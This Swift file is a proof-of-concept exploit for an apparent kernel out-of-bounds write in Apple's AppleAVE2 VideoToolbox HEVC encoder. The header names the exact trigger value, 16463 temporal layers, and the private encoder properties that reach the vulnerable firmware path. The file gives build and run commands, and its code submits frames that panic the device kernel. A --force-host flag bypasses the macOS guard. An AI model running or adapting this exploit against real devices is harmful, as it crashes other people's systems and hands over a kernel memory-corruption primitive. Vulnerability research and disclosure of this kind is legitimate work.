// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705 // Kernel out-of-bounds write through NumberOfTemporalLayers. // // The encoder session accepts a layer count far past the table the driver sized. // Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset // past its allocation; the kernel faults and the device panics. 16462 survives. // iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900. // macOS carries the same driver: encode with a poisoned layer count can panic the // host kernel, so this file refuses to submit a frame unless --force-host is given. // // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \ // -framework VideoToolbox -framework CoreMedia -framework CoreVideo // Run: ./cve-2026-112705 [layers] [--force-host] default 16463 // ./cve-2026-112705 --sweep property acceptance 0..12, no frame import Foundation import VideoToolbox import CoreMedia import CoreVideo let args = CommandLine.arguments let forceHost = args.contains("--force-host") let sweep = args.contains("--sweep") let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463 func fourCC(_ v: OSStatus) -> String { let n = UInt32(bitPattern: v) let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)] if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" } return "\(v)" } func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus { VTSessionSetProperty(session, key: key as CFString, value: value) } func readBack(_ session: VTCompressionSession, _ key: String) -> String { var out: CFTypeRef? let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out) guard st == 0, let v = out else { return "copyErr=\(st)" } return "value=\(v)" } var session: VTCompressionSession? // HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path. let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault, width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, encoderSpecification: nil, imageBufferAttributes: nil, compressedDataAllocator: nil, outputCallback: nil, refcon: nil, compressionSessionOut: &session) print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))") guard create == 0, let s = session else { exit(1) } // The recipe: private usage selector 1 with rate-control mode 20 puts the session on // the AVE2 firmware path; real-time off keeps the frame queued. let su = set(s, "EncoderUsage", NSNumber(value: 1)) let sr = set(s, "RCMode", NSNumber(value: 20)) _ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse) print("EncoderUsage=\(su) RCMode=\(sr)") let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers)) print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))") if sweep { // 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range. print("sweep: NTL acceptance 0...12 (no frame submitted)") for n in 0...12 { let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n)) print("NTL \(n): status=\(st)") } VTCompressionSessionInvalidate(s) exit(0) } if sn != 0 { print("property refused — fixed build (27.2+) or a platform without the AVE2 property") VTCompressionSessionInvalidate(s) exit(0) } #if os(macOS) if !forceHost { print("host guard: property accepted but no frame submitted.") print("submitting a frame here can panic the macOS kernel through AppleAVE2.") print("re-run with --force-host on a disposable machine to fire it.") VTCompressionSessionInvalidate(s) exit(0) } #endif // One IOSurface-backed bi-planar frame is enough: the write lands while the driver // prepares the frame, before any compressed output exists. var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pixelBuffer: CVPixelBuffer? let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pixelBuffer) print("CVPixelBufferCreate status=\(pc)") guard pc == 0, let pb = pixelBuffer else { exit(1) } for i in 0..<4 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } print("encode[\(i)] status=\(st) \(fourCC(st))") if st != 0 { break } } VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid) print("survived — this build does not panic (fixed build or simulator)") VTCompressionSessionInvalidate(s)